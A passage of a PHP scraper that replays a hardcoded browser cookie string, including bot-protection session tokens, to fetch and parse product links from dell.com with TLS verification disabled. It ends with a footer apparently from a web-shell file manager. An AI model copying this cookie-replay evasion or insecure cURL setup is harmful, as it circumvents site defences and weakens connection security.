bm_sz=173125BCA7D7FC29F9B31A5F04E0908A~YAAQf+Bb2jYrXYl/AQAADwJgiw9JBGfWmeuIvDqn1vBYBAo/m2MOmMNV141yywiAMKNaJ+/g/m4JDutc4EFW8p2QMhoIG7L2VCReH+fc5h4SDjoJ99SCQj7Rpx8Kzs54nvSbAxZoFh/LIdYK6XcpeV/U6tKur3e6nJuKcaR930sC0th8OYJcZCrOCqJWlKh/96tWyN8+cTJ03ySd4ldgYCbZltTok9JcrW5FJHsfyuJCsQPQluk6BTmtwcsEq9dJyoNDyqCx90rbb/5um8Z7IxeXUngEhR/BrR0dNDyjJxBF~4407861~3159619; AMCV_4DD80861515CAB990A490D45@AdobeOrg=1585540135|MCMID|49088682060065843053972255070633026423|MCIDTS|19067|MCAID|NONE|MCOPTOUT-1647180746s|NONE|vVersion|4.4.0; bm_mi=377755213D5B5A9AF7DC596EF452D04A~SJ6cfaZ3RwBTwueD03u2ci+kH9AtC4j+Q3Y9yNdY4uIzPmFm1w+F1THOTATKVgMR/3324LpPxiO3/csYdqC2v8Ty6l0QT4UaCq8kGlumOqSBet9AkeClfAocuWWKto0/ExyLL4LsZ50gJY+GF+iNdmZ905LBb6GC23/f+jQLzaOZWqTybJmWLmMHev7eYDHcFCWiGfR79TU+2Eysef0XEpKk6lCIAG6qEI0hgGXo492XWQOrOblqCFJQ3so32M2lmECboSaq5N5pvwmHb02amJD798QlG2ubYW4LmUJrG1FA6s5mRzzeGo4mAkjE90pb; _cs_mk=0.4125593597931647_1647310799996; bm_sv=5C50CB35F89B5F92DFED9CD78E1F4CAA~W+sq64G7bjO6Uc67PrpPGq66QOAVXSKKjPRNIeTFviZIP5rRPMAmuLQsgQILowumQrBipScQdN5P4DOgyPp0sluGWqDdSRCN28s2ylWW0+dJg9ktZwv7ChY1CPbVxT2dn9yh7ksCxrQ0EXG5Gp4Pmg==; s_dl=1; s_channelstack=[["Direct%20Load","1647173548521"],["Direct%20Load","1647179221025"],["Direct%20Load","1647245974869"],["Referrers","1647310800612"]]; s_hwp=jpcorp1||null||15:3:2022:10:20||N||N||null||NaN||null||null||N||null||null||null; s_vnc365=1678846800615&vn=10; s_ivc=true; mbox=session#3ec6f54bc42d492eacca414edf200a85#1647312662; _cs_c=0; _cs_id=2cd3caf5-9065-aa08-8fe8-6396e3eca387.1647310802.1.1647310802.1647310802.1602211317.1681474802801; _cs_s=1.T.0.1647312602804; AKA_A2=A; OLRProduct=OLRProduct=|alienware-13; ak_bmsc=7FC631D95AC8BEF9431493821FE7FE89~000000000000000000000000000000~YAAQleBb2hH5iWh/AQAAe/Jgiw99zVd3v1GhAnfCC1jf0/8hNgOG/OZDiIoOe7nUgyI+FZBHAE5OpDzjsFBTHUm6TkETy+hJ6SDNw/6uP4jIajBG4GBCVd1yDuHgiSUtNK2NvpyMPMB7gBPSSQJ52A2JybXyc5KWfOkUWI4XT0nJrkUWaZwc1tR8c9NqTYh+ZvtAUhzwCdE0NaM9MLLkpB70AXN8vINvlc6CMUXY+QBmgnbINam0ZXA0rPvXS6gKaAnVZn6z7oKyRUaNaDIY4qYwdAdJy8tyNNfuUTn8/JPVBNvJzdIX/fIiKmcUtFexQ7AIOsQUHoyUNHSV49CX0Fs/TITFXR22r4M9CxzP7FNxa2n6ceFvbtz4ai/ItMlsSoQo8UD3E9+9NHzqBfhzy3LBREWCE7m9usB6mzRgg9UK08lWJV9gkbnUOFlIC9hHscAQNSQgjKDiZtzrqUYqhlOt5FDg+8RjYgwI/1i51ww77RajtZjzIsQpuSExjSwb5l4JRkOlR4G3HCfW4TRypze+lZjMzkMbQA7LF5r1Z/Uu+ZsDPRPMtpSbw2jKE+Uw+qptfd+Wma4FQDQmKUWr5lNXLfg70mdjXGZsQVgK9LfOeAa/4IPbFHR90UMsRNlm9QnNGDQ=; ipe.184.pageViewedDay=74; s_ips=879; lwp=c=us&l=en&cs=04&s=bsd; s_c49=c=us&l=en&s=bsd&cs=04; gpv_pn=us|en|bsd|04|esupport-home|home|index; s_depth=5; VOCAAS_SESSION_ID=97DAA47625AC878646BE53A3DBCF24F1; ipe.184.pageViewedCount=5; ipe_184_fov={"numberOfVisits":1,"sessionId":"497ff35d-c7bb-a4f9-7518-36bba1d14a0e","expiry":"2022-04-12T13:47:19.783Z","lastVisit":"2022-03-15T02:26:05.206Z"}; akavpau_maintenance_vp=1647311466~id=7648f3dda24e33e2aa25b851a6643a81; _abck=AADF48D5267C48BAAFF86DF49FE8FE95~0~YAAQbOBb2gVHhFh/AQAAt5xliwcKdBn6GNIIUCVROucdEFN377k8MNqVpROKIaGTfll+8w92DIPR6VRQAwp0j35zPoUSTFaqJzyukedLer5w47VktgQ9YqH8ttF24h2Mk6mJP/F8NW4wMK98X7X/5owRIvey3iO8+/XnAIyfGlmfJUXjXcH95yBINMBZ2HoP7HNE9DCPZxldwjaCM8pOhSNYhC4dOJnvZHPsLOlKzsX1xA+k5bl4VnV4f+85moGdBHoPZRLD9FCt4gb3JbPsIKf833IQ0NuiJltUAtTZO+MWzoHJmBS8t8qusb6Z7O3Vab0yES/7+pkydGY6LDw91XtqzZ8mvIdcwkAZUU+xlHP1rDtXETwh0cCvR8N5PMywvJS9k32LvTQcvME5ZfVNBml/ZWzNsQ==~-1~-1~-1; s_sq=dellglobalonlinemaster=%26pid%3Dus%257Cen%257Cbsd%257C04%257Cesupport-home%257Chome%257Cindex%26pidt%3D1%26oid%3Dfunction%2528%2529%257B%2524%2528%2527%2523breadCrumpAllProducts%2527%2529.click%2528%2529%253B%257D%26oidt%3D2%26ot%3DBUTTON; s_tp=4822; s_ppv=us%7Cen%7Cbsd%7C04%7Cesupport-home%7Chome%7Cindex,18,18,879,1,5';
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_VERBOSE, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_REFERER, 'https://www.dell.com');
        curl_setopt($ch, CURLOPT_USERAGENT, $agent);
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_COOKIE,$ck);
        $result=curl_exec($ch);
        curl_close($ch);
        //print_r( $result );
        $html = str_get_html($result); 
        $links = $html->find('a[data-appname=home]');
        foreach ( $links as $link ){
            print_r( $link->{'data-vmpath'} );
    	    $db = \Config\Database::connect();
    	    $builder = $db->table('model');
    	   // $res = $builder->insert([
    	   //     'url'=>$link->{'data-vmpath'},
    	   //     'name'=>$link->innertext
    	   //     ]);
        }
        $html->clear();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit